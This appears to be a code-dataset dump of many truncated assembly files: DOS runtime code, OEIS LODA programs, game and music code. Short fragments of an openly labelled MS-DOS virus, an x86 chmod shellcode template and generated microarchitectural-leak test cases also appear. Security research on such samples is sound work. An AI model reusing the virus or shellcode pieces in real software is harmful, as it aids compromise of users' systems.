max_stars_repo_path
stringlengths
3
255
max_stars_repo_name
stringlengths
5
116
max_stars_count
int64
0
107k
id
stringlengths
1
7
content
stringlengths
63
1.05M
45/runtime/rt/gwio.asm
minblock/msdos
0
56534
TITLE GWIO - Basic I/O and initialization PAGE 56,132 ;*** ; GWIO - Basic I/O and initialization ; ; Copyright <C> 1986, Microsoft Corporation ; ;Purpose: ; This module contains code for doing initialization and termination ; and code for calling the lowest level OEM dependent screen I/O routines. ; ;****************...
programs/oeis/336/A336835.asm
karttu/loda
1
56535
; A336835: Number of iterations of x -> A003961(x) needed before the result is deficient (sigma(x) < 2x), when starting from x=n. ; 0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,...
oeis/165/A165443.asm
neoneye/loda-programs
11
56536
; A165443: a(n) = ( 16^(2*n+1) + 81^(2*n+1) )/97. ; 1,5521,35957041,235845988561,1547368082644081,10152277523461827601,66609091687940958003121,437022250271846649679394641,2867302983958645970747063186161,18812374877733491600234823630721681,123427991572804527127998493410142705201,80981105270916924520394571604960459440072...
_not os code/Convenience/JASM/test2.asm
jaredwhitney/os3
5
56537
<filename>_not os code/Convenience/JASM/test2.asm<gh_stars>1-10 Jtest.compiler.2.main : pusha push eax call Jtest.compiler.2.sayhello mov eax, [retval] mov [Jtest.compiler.2.x], eax pop eax push ebx mov ebx, Jtest.compiler.2.x call console.num_out pop ebx mov eax, 0 mov [retval], eax popa ret Jtest.compiler.2.sayhello ...
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_5_495.asm
ljhsiun2/medusa
9
56538
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x14ea6, %rsi lea addresses_normal_ht+0xb426, %rdi clflush (%rdi) add $5487, %r10 mov $114, %rcx rep movsq nop nop nop cmp $58368, %rax lea addresses_D_ht+0x14466, %r14 and %rax, %rax m...
s1/sfx-original/SndB6 - Spikes Move.asm
Cancer52/flamedriver
9
56539
SndB6_Spikes_Move_Header: smpsHeaderStartSong 1 smpsHeaderVoice SndB6_Spikes_Move_Voices smpsHeaderTempoSFX $01 smpsHeaderChanSFX $01 smpsHeaderSFXChannel cPSG3, SndB6_Spikes_Move_PSG3, $00, $00 ; PSG3 Data SndB6_Spikes_Move_PSG3: smpsModSet $01, $01, $F0, $08 smpsPSGform $E7 dc.b nE5,...
source/tokenise/tok_cst.asm
paulscottrobson/rpl-65
1
56541
<reponame>paulscottrobson/rpl-65 ; ****************************************************************************** ; ****************************************************************************** ; ; Name : tok_cst.asm ; Purpose : Tokenise Comment or String ; Author : <NAME> (<EMAIL>) ; Created : 14th November ...
0x10.asm
SpeedStepper/XchgRaxRax
53
56542
; ; $Id: 0x10.asm,v 1.1.1.1 2016/03/27 08:40:12 raptor Exp $ ; ; 0x10 explanation - from xchg rax,rax by <EMAIL> ; Copyright (c) 2016 <NAME> <<EMAIL>> ; ; This is the funniest snippet so far. It illustrates ; different ways to exchange the content of rax with rcx. ; ; This analysis was facilitated by the assembly REPL ...
2020/10/adapter_array_p1.asm
ped7g/adventofcode
2
56543
; https://adventofcode.com/2020/day/10 (part 1) OPT listoff : DEVICE ZXSPECTRUMNEXT : MMU 0 7, 0, $0000 inputFile: ; load the input into virtual device memory for processing ; INCBIN "input_t.txt" ; INCBIN "input_t2.txt" INCBIN "input.txt" inputEnd: ds 5,0 ; some zeroed mem in case the algor...
programs/oeis/115/A115565.asm
neoneye/loda
22
56544
<reponame>neoneye/loda ; A115565: a(n) = 5*n^4 - 10*n^3 + 20*n^2 - 15*n + 11. ; 11,61,281,911,2311,4961,9461,16531,27011,41861,62161,89111,124031,168361,223661,291611,374011,472781,589961,727711,888311,1074161,1287781,1531811,1809011,2122261,2474561,2869031,3308911,3797561,4338461,4935211,5591531,6311261,7098361,795691...
src/test/resources/cpuTests/asmsrc/add_code.asm
Sophos06/spice86
46
56545
;;; Segment code (0C00:0100) ;; fn0C00_0100: 0C00:0100 fn0C00_0100 proc mov sp,0A0h mov ax,0FFFFh mov bx,1h add bx,ax mov [0000h],ax mov [0002h],bx pushf mov dx,0FFFFh mov word ptr [0004h],0FFFFh add [0004h],dx mov [0006h],dx pushf mov cx,1h mov word ptr [0008h],2h add cx,[0008h] mov [000Ah],cx pushf ...
oeis/127/A127358.asm
neoneye/loda-programs
11
56546
<filename>oeis/127/A127358.asm ; A127358: a(n) = Sum_{k=0..n} binomial(n, floor(k/2))*2^(n-k). ; Submitted by <NAME>(w1) ; 1,3,8,21,54,138,350,885,2230,5610,14088,35346,88596,221952,555738,1391061,3480870,8708610,21783680,54483510,136254964,340729788,852000828,2130354786,5326563004,13317759588,33296999120,83247698100,2...
oeis/054/A054567.asm
neoneye/loda-programs
11
56547
<filename>oeis/054/A054567.asm ; A054567: a(n) = 4*n^2 - 7*n + 4. ; 1,6,19,40,69,106,151,204,265,334,411,496,589,690,799,916,1041,1174,1315,1464,1621,1786,1959,2140,2329,2526,2731,2944,3165,3394,3631,3876,4129,4390,4659,4936,5221,5514,5815,6124,6441,6766,7099,7440,7789,8146,8511,8884,9265,9654,10051,10456,10869,11290,1...
MSDOS/Virus.MSDOS.Unknown.cache.asm
fengjixuchui/Family
3
56550
<filename>MSDOS/Virus.MSDOS.Unknown.cache.asm INTERRUPTS SEGMENT AT 0H ;This is where the disk interrupt ORG 13H*4 ;holds the address of its service routine DISK_INT LABEL DWORD INTERRUPTS ENDS CODE_SEG SEGMENT ASSUME CS:CODE_SEG ORG 100H ...
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1644.asm
ljhsiun2/medusa
9
56551
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r15 push %r8 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_WC_ht+0xe6fc, %rsi lea addresses_normal_ht+0x9bfc, %rdi clflush (%rsi) nop sub $65165, %r8 mov $112, %rcx rep movsq nop nop nop nop nop xor $54437, %rdi lea addresses_UC_ht+0xc6fc, %r...
test/asm/future.asm
renatocf/MAC0242-PROJECT
1
56552
PUSH ->W DUP LOOK ITEM PUSH {crystal} EQ JIF end DRAG PUSH 1 JIT moveup end: PUSH ->W MOVE END moveup: PUSH ->NE MOVE PUSH ->NW MOVE J...
oeis/179/A179619.asm
neoneye/loda-programs
11
56553
<reponame>neoneye/loda-programs<filename>oeis/179/A179619.asm ; A179619: a(1)=1, a(n+1) = 10*a(n)+2*n-1 ; Submitted by <NAME>(s3.) ; 1,13,135,1357,13579,135801,1358023,13580245,135802467,1358024689,13580246911,135802469133,1358024691355,13580246913577,135802469135799,1358024691358021,13580246913580243,13580246913580246...
Appl/BigCalc/bigcalcDCtrl.asm
steakknife/pcgeos
504
56554
<reponame>steakknife/pcgeos<gh_stars>100-1000 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: bigcalcDCtrl.asm AUTHOR: <NAME>, Apr 23, 1992 ROUTINES: Name Description ---- --------...
Appl/Term/Main/mainMain.asm
steakknife/pcgeos
504
56555
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1989 -- All Rights Reserved PROJECT: PC GEOS MODULE: Main FILE: mainMain.asm AUTHOR: <NAME>, September 6, 1989 ROUTINES: Name Description ---- ----------- MTD MSG_GEN_PROCESS_CREATE_NEW_S...
programs/oeis/165/A165830.asm
jmorken/loda
1
56556
<filename>programs/oeis/165/A165830.asm<gh_stars>1-10 ; A165830: Totally multiplicative sequence with a(p) = 9. ; 1,9,9,81,9,81,9,729,81,81,9,729,9,81,81,6561,9,729,9,729,81,81,9,6561,81,81,729,729,9,729,9,59049,81,81,81,6561,9,81,81,6561,9,729,9,729,729,81,9,59049,81,729,81,729,9,6561,81,6561,81,81,9,6561,9,81,729,531...
sk/music/ICZ1.asm
Cancer52/flamedriver
9
56557
Snd_ICZ1_Header: smpsHeaderStartSong 3 smpsHeaderVoice Snd_ICZ_Voices smpsHeaderChan $06, $03 smpsHeaderTempo $01, $14 smpsHeaderDAC Snd_ICZ1_DAC smpsHeaderFM Snd_ICZ1_FM1, $00, $02 smpsHeaderFM Snd_ICZ1_FM2, $F4, $08 smpsHeaderFM Snd_ICZ1_FM3, $F4, $08 smpsHeaderFM ...
data/roms/pulse_test.asm
wo1fsea/yapre
3
56558
;;;; Taken from https://safiire.github.io/blog/2015/03/29/creating-sound-on-the-nes/ ; Create an iNES header .ines {"prog": 1, "char": 0, "mapper": 0, "mirror": 0} ;;;; ; Include all the symbols in the nes library .inc <nes.sym> ;;;; ; Open the prog section bank 0 .segment prog 0 ;;;; ; Structure to keep trac...
idt.asm
MrShiposha/newoslab2
0
56561
<filename>idt.asm struc i_descriptor offs_l resw 1 ; Адрес обработчика (0..15) sel resw 1 ; Селектора сегмента кода _reserved resb 1 attr resb 1 ; Атрибуты offs_h resw 1 ; Адрес обработчика (16..23) endstruc struc idt_descriptor lim resw 1 base resd 1 endstruc idt_base: i_dum...
cards/bn5/ModCards/136-A024 Moloko.asm
RockmanEXEZone/MMBN-Mod-Card-Kit
10
56562
<reponame>RockmanEXEZone/MMBN-Mod-Card-Kit<filename>cards/bn5/ModCards/136-A024 Moloko.asm<gh_stars>1-10 .include "defaults_mod.asm" table_file_jp equ "exe5-utf8.tbl" table_file_en equ "bn5-utf8.tbl" game_code_len equ 3 game_code equ 0x4252424A // BRBJ game_code_2 equ 0x42524245 // BRBE game_code_3 equ 0x425242...
programs/oeis/183/A183862.asm
neoneye/loda
22
56563
; A183862: n+floor(sqrt(5n/2)); complement of A183863. ; 2,4,5,7,8,9,11,12,13,15,16,17,18,19,21,22,23,24,25,27,28,29,30,31,32,34,35,36,37,38,39,40,42,43,44,45,46,47,48,50,51,52,53,54,55,56,57,58,60,61,62,63,64,65,66,67,68,70,71,72,73,74,75,76,77,78,79,81,82,83,84,85,86,87,88,89,90,91,93,94 mov $5,$0 mul $0,2 mov $1,$0...
oeis/123/A123525.asm
neoneye/loda-programs
11
56564
<gh_stars>10-100 ; A123525: Arises in the normal ordering of functions of a*(a+)*a, where a and a+ are the boson annihilation and creation operators, respectively. ; Submitted by <NAME> ; 2,14,102,836,7730,79962,916454,11533832,158149026,2346622310,37458934502,640013453004,11652216012242,225169809833906,460240756299159...
Transynther/x86/_processed/NC/_st_zr_un_4k_/i9-9900K_12_0xca.log_21829_828.asm
ljhsiun2/medusa
9
56566
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r15 push %r9 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0x1aca2, %rsi lea addresses_WC_ht+0x553e, %rdi nop nop xor %r10, %r10 mov $113, %rcx rep movsw nop nop xor $44926, %r9 lea addresses_A_ht+0x1be74, %rcx nop nop nop nop and ...
IDIV5/_divide.asm
pdpdds/edusample
0
56567
bits 32 segment .text global _DivideAsm _DivideAsm: mov eax, [esp + 4] mov ebx, [esp + 8] cdq idiv ebx ret
Source/M-OS/MIOS_macros.asm
mkeller0815/MOUSE
8
56568
; ; MACROs for common tasks and repeating parts of code ; ; ; ; ; ----------------------------------------------------------------------------- ; MACRO for writing a line. Use with ".invoke wrtline <address>" where ; <address> is the first byte of the string in 16 bit. As a "write" ; command, the string has to be te...
LAB5/Esercizi Guidati/syscall da Appendice A V2.asm
ntauth/computer-architecture-unimib
0
56570
# Questo esempio e' dertivato da Appendice A Sez. A9 - Chiamate di sistema # pag. A33 /utima edizione italiana) # ATTENZIONE; guardare bene le istruzioni alla riga 27 e alla riga 37 # per capire cosa vuol dire passare un valore o un indirizzo .data str: .asciiz "Il numero e' " str2: .asciiz "\nL'indirizzo del numer...
programs/oeis/076/A076664.asm
karttu/loda
0
56573
<reponame>karttu/loda ; A076664: a(n) = Sum_{k=1..n} antisigma(k), where antisigma(i) = sum of the nondivisors of i that are between 1 and i. ; 0,0,2,5,14,23,43,64,96,133,187,237,314,395,491,596,731,863,1033,1201,1400,1617,1869,2109,2403,2712,3050,3400,3805,4198,4662,5127,5640,6181,6763,7338,8003,8684,9408,10138,10957,...
libsrc/_DEVELOPMENT/string/z80/asm_memcpy.asm
meesokim/z88dk
0
56574
<reponame>meesokim/z88dk ; =============================================================== ; Dec 2013 ; =============================================================== ; ; void *memcpy(void * restrict s1, const void * restrict s2, size_t n) ; ; Copy n chars from s2 to s1, return s1. ; ; ==============================...
asm/testy7.asm
icefoxen/lang
0
56576
global main main: enter 0, 0 mov eax, esp sub esp, 0x04 mov dword [esp], 0x91 mov esp, eax leave ret
programs/oeis/232/A232867.asm
karttu/loda
0
56578
<filename>programs/oeis/232/A232867.asm<gh_stars>0 ; A232867: Positions of the negative integers in the sequence (or tree) of complex numbers generated by these rules: 0 is in S, and if x is in S, then x + 1 and i*x are in S, where duplicates are deleted as they occur. ; 8,12,19,30,45,64,87,114,145,180,219,262,309,360,...
c2nasm/library_noO3.asm
TimerChen/MxCompiler
2
56579
default rel global _getInt global _toString global _getString global buffer extern strcpy extern __string_string extern strlen extern sprintf extern malloc extern __stack_chk_fail extern __isoc99_scanf extern _GLOBAL_OFFSET_TABLE_ SECTION .text _getInt: push rbp mov rbp, rsp ...
oeis/213/A213038.asm
neoneye/loda-programs
11
56580
; A213038: a(n) = n^2 - 3*floor(n/2)^2. ; Submitted by <NAME> ; 0,1,1,6,4,13,9,22,16,33,25,46,36,61,49,78,64,97,81,118,100,141,121,166,144,193,169,222,196,253,225,286,256,321,289,358,324,397,361,438,400,481,441,526,484,573,529,622,576,673,625,726,676,781,729,838,784,897,841,958,900,1021,961,1086,1024,1153,1089,1222,115...
pin-3.22-98547-g7a303a835-gcc-linux/source/tools/Utils/supports_avx512f_ia32.asm
ArthasZhang007/15418FinalProject
0
56581
; ; Copyright (C) 2015-2015 Intel Corporation. ; SPDX-License-Identifier: MIT ; PUBLIC SupportsAvx512f .686 .model flat, c .code ALIGN 4 SupportsAvx512f PROC push ebp mov ebp, esp pusha mov eax, 1 cpuid and ecx, 0018000000h cmp ecx, 0018000000h jne $lNOT_SUPPORTED mov ecx, 0 ...
oeis/194/A194129.asm
neoneye/loda-programs
11
56582
; A194129: Number of digits in n^100. ; 1,1,31,48,61,70,78,85,91,96,101,105,108,112,115,118,121,124,126,128,131,133,135,137,139,140,142,144,145,147,148,150,151,152,154,155,156,157,158,160,161,162,163,164,165,166,167,168,169,170,170 pow $0,100 lpb $0 div $0,10 add $2,1 lpe mov $3,$2 cmp $3,0 add $2,$3 mov $0,$2
Transynther/x86/_processed/NONE/_ht_zr_/i7-7700_9_0xca.log_21829_489.asm
ljhsiun2/medusa
9
56583
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %r8 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x1e511, %r13 and %r8, %r8 movl $0x61626364, (%r13) nop xor $50381, %rbx lea addresses_D_ht+0xabf1, %rcx clflush (%rcx) nop nop and $37048, %rax movw $0x6162, (%rcx) nop cm...
src/generalfuncs.asm
QuinnPainter/Renegade-Rush
1
56584
<filename>src/generalfuncs.asm INCLUDE "hardware.inc" INCLUDE "macros.inc" ; All functions are in different sections so they can cram into small gaps ; such as the gaps between interrupt vectors SECTION "Memset", ROM0 ; Fills a block of memory with a value ; Input - HL = Destination address ; Input - BC = Number of ...
oeis/046/A046199.asm
neoneye/loda-programs
11
56585
<reponame>neoneye/loda-programs<filename>oeis/046/A046199.asm<gh_stars>10-100 ; A046199: Indices of pentagonal numbers that are also heptagonal. ; Submitted by <NAME>(s1.) ; 1,54,3337,206830,12820113,794640166,49254870169,3053007310302,189237198368545,11729653291539478,727049266877079081,45065324893087363534,2793323094...
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_357.asm
ljhsiun2/medusa
9
56586
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r8 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x153ca, %r12 nop xor %rax, %rax mov (%r12), %esi nop nop sub %rax, %rax lea addresses_normal_ht+0x52aa, %rsi lea addresses_D_ht+0x652a, %rdi nop nop nop add $50278, %r8 mov $10...
oeis/229/A229277.asm
neoneye/loda-programs
11
56587
; A229277: Number of ascending runs in {1,...,3}^n. ; 0,3,15,63,243,891,3159,10935,37179,124659,413343,1358127,4428675,14348907,46235367,148272039,473513931,1506635235,4778186031,15109399071,47652720147,149931729243,470715894135,1474909801623,4613015762523,14403906360531,44906296300479,139802620558095,434659056644259,1...
cmd/doskey/doskey.asm
minblock/msdos
0
56588
<gh_stars>0 page ,132 ;****************************************************************************** Title DOSKEY.ASM - First module/init code ;/* ; * Microsoft Confidential ; * Copyright (C) Microsoft Corporation 1991 ; * All Rights Reserved. ; */ ;******...
oeis/107/A107400.asm
neoneye/loda-programs
11
56589
; A107400: Numbers k such that 107*k + 109 is prime. ; Submitted by <NAME> ; 0,6,14,24,30,32,42,44,56,60,80,86,90,122,126,134,146,162,164,182,186,204,224,234,242,246,252,266,276,284,290,294,302,312,330,336,354,356,360,374,386,416,422,426,440,450,452,464,482,494,500,504,506,510,554 mov $2,$0 add $2,2 pow $2,2 lpb $2 ...
libsrc/lib3d/f2i.asm
andydansby/z88dk-mk2
1
56590
<reponame>andydansby/z88dk-mk2 ; ; Fixed Point functions ; ; int f2i (long v) ; fixed point to integer ; ; ------ ; $Id: f2i.asm,v 1.1 2009/04/10 12:47:42 stefano Exp $ ; XLIB f2i .f2i pop bc ; RET addr. pop hl pop de push de push hl push bc ;; D...
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2337.asm
ljhsiun2/medusa
9
56591
<filename>Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2337.asm .global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r8 push %r9 push %rcx push %rdi push %rsi lea addresses_A_ht+0x1e940, %r11 and %r8, %r8 mov (%r11), %r10w nop nop nop nop nop xor %r13, %r13 lea addresses_nor...
commands/_commands.asm
alexbelm48/AtieDOS
33
56592
; AtieDOS 2.10 Command Linker ; Copyright (c) 2020 AtieSoftware. ; See LICENSE in root folder %include "commands/restart.asm" %include "commands/clear.asm" %include "commands/write.asm" %include "commands/about.asm" %include "commands/help.asm" %include "commands/shutdown.asm" %include "commands/charset.asm" %include ...
testing/fieldtest1.asm
stacklover/b5500emulator
4
56593
# Test operators - field transfer .ORG 020 NOP DIA 000 DIB 020 TRB 48 ZPI # now lets go .SET A 01122334455667734 .SET B 07777777777777777 .SET AROF 1 .SET BROF 1 .ORG 020 .RUN .END
Working Disassembly/General/Sprites/Ribot/Map - Ribot.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
5
56594
Map_3604B8: dc.w Frame_3604C8-Map_3604B8 dc.w Frame_3604EE-Map_3604B8 dc.w Frame_360514-Map_3604B8 dc.w Frame_36053A-Map_3604B8 dc.w Frame_360560-Map_3604B8 dc.w Frame_360586-Map_3604B8 dc.w Frame_3605AC-Map_3604B8 dc.w Frame_3605B4-Map_3604B8 Frame_3604C8: dc.w 6 dc.b $F4, 1, 0, 0,$FF,$F8 dc.b 4...
code/5/multi.asm
GeekHades1/AssemblyCode
1
56595
<reponame>GeekHades1/AssemblyCode ; 题目要求计算 123*256 的值。 ; 使用汇编语言我们可以很清晰的看到计算机底层 ; 到底是怎么样处理乘法的。 assume cs:code code segment mov ax, 0 mov cx, 256 s: add ax, 123 ; 进行256次加法 loop s mov ax, 4c00H int 21H code ends end
Transynther/x86/_processed/NONE/_st_/i7-8650U_0xd2_notsx.log_21829_170.asm
ljhsiun2/medusa
9
56596
.global s_prepare_buffers s_prepare_buffers: push %r8 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x12757, %rsi lea addresses_UC_ht+0x1a0d7, %rdi nop nop nop and $25533, %r9 mov $62, %rcx rep movsw nop nop and %rbx, %rbx lea addresses_D_ht+0x180d7, %rcx nop nop nop nop cmp %r8, %r8 movb $0x61, (...
oeis/037/A037213.asm
neoneye/loda-programs
11
56597
; A037213: Expansion of Sum_{n>=0} n*q^(n^2). ; Submitted by <NAME> ; 0,1,0,0,2,0,0,0,0,3,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,5,0,0,0,0,0,0,0,0,0,0,6,0,0,0,0,0,0,0,0,0,0,0,0,7,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,9,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 lpb $0 sub $0,2 add $1,1 trn $2,$0 trn $0...
programs/oeis/309/A309337.asm
jmorken/loda
1
56598
<filename>programs/oeis/309/A309337.asm ; A309337: a(n) = n^3 if n odd, 3*n^3/4 if n even. ; 0,1,6,27,48,125,162,343,384,729,750,1331,1296,2197,2058,3375,3072,4913,4374,6859,6000,9261,7986,12167,10368,15625,13182,19683,16464,24389,20250,29791,24576,35937,29478,42875,34992,50653,41154,59319,48000,68921,55566,79507,63888...
CODE/ELECTRONIC_SCALE/LCD_ADC.asm
ZSAIm/-_STM8S-
1
56599
stm8/ #include "LCD.inc" #include "ADC.inc" #include "MacroFunction.inc" INTEL segment 'rom' HEX_CODE.W dc.b "0123456789ABCDEF" ;*********************************************************** ;name : DispADC() ;fun : ;params : ; IN : NET_ADC ; OUT : NULL ;*********...
cards/bn5/ModCards/136-B040 KingMan.asm
RockmanEXEZone/MMBN-Mod-Card-Kit
10
56600
<reponame>RockmanEXEZone/MMBN-Mod-Card-Kit<filename>cards/bn5/ModCards/136-B040 KingMan.asm .include "defaults_mod.asm" table_file_jp equ "exe5-utf8.tbl" table_file_en equ "bn5-utf8.tbl" game_code_len equ 3 game_code equ 0x4252424A // BRBJ game_code_2 equ 0x42524245 // BRBE game_code_3 equ 0x42524250 // BRBP ca...
programs/oeis/157/A157865.asm
neoneye/loda
22
56601
; A157865: a(n) is the number of numbers of the form 4n+2 in A082542. ; 2,2,1,1,2,1,0,2,0,1,2,1,0,1,1,1,1,1,1,1,1,0,1,0,1,2,1,1,1,0,0,1,1,0,2,0,0,2,0,1,1,1,0,1,1,1,0,1,1,2,0,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,2,0,1,2,0,0,1,0,0,1,1,1,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,1,1,0,1,0,1 mov $3,2 mov $5,$0 lpb $3 mov $0,$5 sub $3,...
Source/BootSector/BootSector.asm
jorgy343/RustyOS
0
56602
<reponame>jorgy343/RustyOS %define StackSegment 0x9000 ; Because this is a segment it is really address 0x90000 %define StackOffset 0xF000 %define KernelFileLocation 0x200000 %define KernelLocation 0x100000 %define MemoryMapEntryCount ...
oeis/114/A114091.asm
neoneye/loda-programs
11
56603
<reponame>neoneye/loda-programs<filename>oeis/114/A114091.asm ; A114091: Number of partitions of n into parts that are distinct mod 3. ; Submitted by <NAME> ; 1,1,2,2,2,4,3,3,7,4,4,11,5,5,16,6,6,22,7,7,29,8,8,37,9,9,46,10,10,56,11,11,67,12,12,79,13,13,92,14,14,106,15,15,121,16,16,137,17,17,154,18,18,172,19,19,191,20,20...
tests/exec/test/test.asm
ykskb/dax86
12
56604
<reponame>ykskb/dax86 BITS 32 org 0x7c00 push 0xFF ; 0x7BFC: 0xFF mov dword eax, 0x80 mov edx, esp test byte [edx], al pushfd ; 0x7BF8: 10000000 (0x80) (sign flag) push 0xFF ; 0x7BF4: 0xFF mov dword eax, 0 mov edx, esp test dword [edx], eax pushfd ; 0x7BF0: 01000000 (0x4...
data.asm
MrShiposha/newoslab2
0
56605
<gh_stars>0 data_base: pm_msg: db "Message from protected mode.", 0 pm_msg_to_exit: db "Press enter for switch to real mode", 0 pm_exit_msg: db "Protected mode exited. Returned to real mode.", 0 pm_memory_detected_size: db "Memory size: ", 0 pm_bytes: db " bytes", 0 pm_dummy_int: db "UNEXP...
programs/oeis/030/A030392.asm
karttu/loda
1
56606
; A030392: Length of n-th run of digit 0 in A030386. ; 1,1,1,1,2,1,1,1,1,1,1,2,1,1,1,1,1,1,2,1,1,1,1,1,1,3,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,2,1,1,1,1,1,1,2,1,1,1,1,1,1,3,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1 mod $0,40 mov $2,$0 cmp $2,0 mov $1,$2 mov $2,$0 cmp $2,1 add $1,$2 mov $2,$0 cmp ...
lib/payload/shellcode/generator/osx_x86/chmod/chmod.asm
th3cyb3rc0p/Nettacker
35
56607
<filename>lib/payload/shellcode/generator/osx_x86/chmod/chmod.asm xor %eax,%eax push %eax {0} mov %esp,%edx {1} push %edx push $0xf pop %eax push $0x2a int $0x80 mov $0x01,%al mov $0x01,%bl int $0x80
programs/oeis/226/A226096.asm
neoneye/loda
22
56608
; A226096: Squares with doubled (4*n+2)^2. ; 1,4,4,9,16,25,36,36,49,64,81,100,100,121,144,169,196,196,225,256,289,324,324,361,400,441,484,484,529,576,625,676,676,729,784,841,900,900,961,1024,1089,1156,1156,1225,1296,1369,1444,1444,1521,1600,1681,1764,1764,1849,1936,2025,2116,2116,2209,2304,2401,2500,2500,2601,2704,2809...
oeis/346/A346295.asm
neoneye/loda-programs
11
56610
<reponame>neoneye/loda-programs ; A346295: a(n) = Sum_{k=0..n} (2^k + 1) * (2^k + 2) / 2. ; 3,9,24,69,222,783,2928,11313,44466,176307,702132,2802357,11197110,44763831,179006136,715926201,2863508154,11453639355,45813770940,183253510845,733010897598,2932037298879,11728136612544,46912521284289,187650034805442,750600038558...
Transynther/x86/_processed/NC/_zr_/i7-8650U_0xd2_notsx.log_1116_890.asm
ljhsiun2/medusa
9
56612
<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x2670, %rsi nop nop nop cmp $64240, %rdi vmovups (%rsi), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $0, %xmm3, %rbp nop nop nop nop and $63996, %rcx lea addre...
oeis/156/A156664.asm
neoneye/loda-programs
11
56613
; A156664: Binomial transform of A052551. ; Submitted by <NAME> ; 1,2,6,16,42,108,274,688,1714,4244,10458,25672,62826,153372,373666,908896,2207842,5357348,12988074,31464568,76179354,184347564,445923058,1078290832,2606699026,6300077492,15223631226,36780894376,88852528842,214620169788,518361303874,1251879648448,302319434...
src/objects/fruit.asm
matanui159/celeste-gameboy
8
56614
include "fruit.inc" include "../hardware.inc" section "Fruit ROM", rom0 ;; Removed any fruit-related object FruitClear:: ; Set the fruit type to NONE (0) xor a, a ldh [hFruitType], a ret ;; Spawns a fruit at the given position ;; @param bc: Fruit position FruitSpawn:: ; Save the starting Y posi...
oeis/262/A262973.asm
neoneye/loda-programs
11
56615
; A262973: Total tail length of all iteration trajectories of all elements of random mappings from [n] to [n]. ; Submitted by <NAME>(s2) ; 0,2,36,624,11800,248400,5817084,150660608,4285808496,133010784000,4475982692500,162419627132928,6324111407554824,263067938335913984,11645155099754347500,546652030933421260800,271267...
programs/oeis/342/A342712.asm
neoneye/loda
22
56616
; A342712: Partial sums of A248333. ; 0,0,0,1,2,4,6,9,13,17,22,28,34,41,49,58,67,77,88,100,112,125,139,154,170,186,203,221,240,260,280,301,323,346,370,395,420,446,473,501,530,560,590,621,653,686,720,755,791,827,864,902,941,981,1022,1064,1106 mov $2,$0 mov $4,$0 lpb $2 mov $0,$4 sub $2,1 sub $0,$2 mov $3,$0 s...
P5/P5_TestCode/P5_L1_testcase32/P5_L1_testcase32/mips32.asm
alxzzhou/BUAA_CO_2020
1
56617
<reponame>alxzzhou/BUAA_CO_2020 lui $3, 203 lui $4, 203 beq $3,$4 next ori $5,123 ori $6,123 next: jal end ori $8,$31,0 ori $9,$31,0 end: ori $10,$31,0
programs/oeis/091/A091265.asm
jmorken/loda
1
56618
<reponame>jmorken/loda<filename>programs/oeis/091/A091265.asm ; A091265: Take sequence of prime numbers (A000040) and reverse successive subsequences of lengths 1,2,3,4,... ; 2,5,3,13,11,7,29,23,19,17,47,43,41,37,31,73,71,67,61,59,53,107,103,101,97,89,83,79,151,149,139,137,131,127,113,109,197,193,191,181,179,173,167,16...
assembly/minmax.asm
mohsend/Magnificent-University-projects
0
56619
<reponame>mohsend/Magnificent-University-projects ; find minimum and maximum of 16 unsigned bytes, and write them to memmory. ;------------ ; stack segment : STSEG SEGMENT DB 64 DUP (?) STSEG ENDS ;------------ ; data segment : DTSEG SEGMENT ; place program data here array DB 73H, 82H, 10H, 7FH, 0D0H, 20H, 0B3H, ...
Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2.log_6271_1674.asm
ljhsiun2/medusa
9
56621
<reponame>ljhsiun2/medusa<filename>Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2.log_6271_1674.asm .global s_prepare_buffers s_prepare_buffers: push %r10 push %r15 push %r8 push %r9 push %rcx push %rdi push %rsi lea addresses_WT_ht+0xd4de, %rsi lea addresses_normal_ht+0x125be, %rdi nop nop nop nop inc %r10 mov $100,...
maps/startham.asm
ISSOtm/Aevilia-GB
